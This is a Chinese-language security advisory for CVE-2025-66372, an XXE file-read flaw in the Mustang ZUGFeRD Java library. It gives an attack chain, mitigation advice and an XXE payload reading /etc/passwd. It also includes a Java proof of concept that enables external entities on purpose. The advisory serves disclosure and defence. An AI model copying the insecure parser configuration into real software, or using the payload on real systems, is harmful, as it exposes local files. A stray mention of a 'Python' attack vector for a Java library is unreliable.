IPBUF安全漏洞报告
English
CVE-2025-66372 CVSS 2.8 低危

CVE-2025-66372: Mustang XXE文件窃取漏洞

披露日期: 2025-11-28

漏洞信息

漏洞编号
CVE-2025-66372
漏洞类型
XXE (XML External Entity) 攻击
CVSS评分
2.8 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mustang (mustangproject)

相关标签

XXEXML注入文件读取MustangZUGFeRD本地攻击CVE-2025-66372

漏洞概述

CVE-2025-66372是发现于Mustang项目2.16.3之前版本的安全漏洞,攻击者可以利用XML外部实体(XXE)注入攻击从目标系统窃取敏感文件。该漏洞属于本地攻击类型,需要低权限用户权限,但无需用户交互即可实施攻击。CVSS评分2.8,严重等级为低危,主要影响系统的机密性。攻击者通过构造包含恶意XML外部实体引用的文件,诱使Mustang解析器在处理XML时读取本地文件系统中的任意文件内容。由于攻击向量为本地且需要低权限,因此主要威胁场景为具有本地访问权限的恶意用户或已获取低权限账号的攻击者。漏洞影响Mustang项目核心库的所有2.16.3之前版本,建议相关用户尽快升级至2.16.3或更高版本以修复此安全问题。

技术细节

Mustang是一个用于处理ZUGFeRD电子发票的Java库,在2.16.3之前的版本中存在XML外部实体(XXE)注入漏洞。漏洞根源在于Mustang在解析XML文档时未正确禁用外部实体引用功能。攻击者可以构造一个包含<!DOCTYPE>声明和外部实体引用的恶意XML文件,例如使用file://协议引用系统文件路径。当Mustang解析该XML时,解析器会尝试访问指定的外部实体,从而读取目标文件内容。典型的攻击Payload如:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>。由于CVSS向量中机密性影响为低(C:L),说明攻击者只能读取部分文件内容或有限数量的文件。攻击成功需要满足以下条件:攻击者需具有本地访问权限(Python本地攻击向量)、拥有低权限账号、能够提供或诱使系统解析包含恶意XML的文件。技术层面看,防御XXE攻击需要在XML解析器配置中明确禁用DTD(文档类型定义)和外部实体引用功能。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地访问权限或低权限用户账号
STEP 2
步骤2
攻击者创建包含XXE Payload的恶意XML文件,使用file://协议引用目标敏感文件
STEP 3
步骤3
攻击者将恶意XML文件提交或注入到使用Mustang库处理XML的应用中
STEP 4
步骤4
Mustang解析器在处理XML时解析外部实体引用,触发对本地文件的读取操作
STEP 5
步骤5
解析后的文件内容通过错误消息、响应或日志等渠道被攻击者获取,实现文件窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.DocumentBuilder; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NodeList; public class xxe_poc { public static void main(String[] args) { try { // Malicious XML with XXE payload String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>" + "<root>" + "<data>&xxe;</data>" + // Reference to external entity "</root>"; // Vulnerable configuration (before fix) DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); factory.setFeature("http://xml.org/sax/features/external-general-entities", true); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", true); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(new java.io.ByteArrayInputStream(maliciousXml.getBytes())); // Extract and display file content NodeList nodeList = doc.getElementsByTagName("data"); if (nodeList.getLength() > 0) { System.out.println("File content exfiltrated:"); System.out.println(nodeList.item(0).getTextContent()); } } catch (Exception e) { e.printStackTrace(); } } }

影响范围

Mustang < 2.16.3

防御指南

临时缓解措施
由于该漏洞需要本地访问权限,临时缓解措施包括:限制用户对系统的本地访问权限,确保只有可信用户具有系统访问权限;在应用层实施严格的输入验证,过滤或拒绝包含<!DOCTYPE>声明的XML输入;对所有XML处理操作实施最小权限原则,限制应用的文件系统访问权限;配置安全审计日志,监控异常的XML解析行为;考虑使用沙箱环境隔离XML处理操作,防止潜在的文件访问。但最根本的解决方案仍是尽快升级到Mustang 2.16.3或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表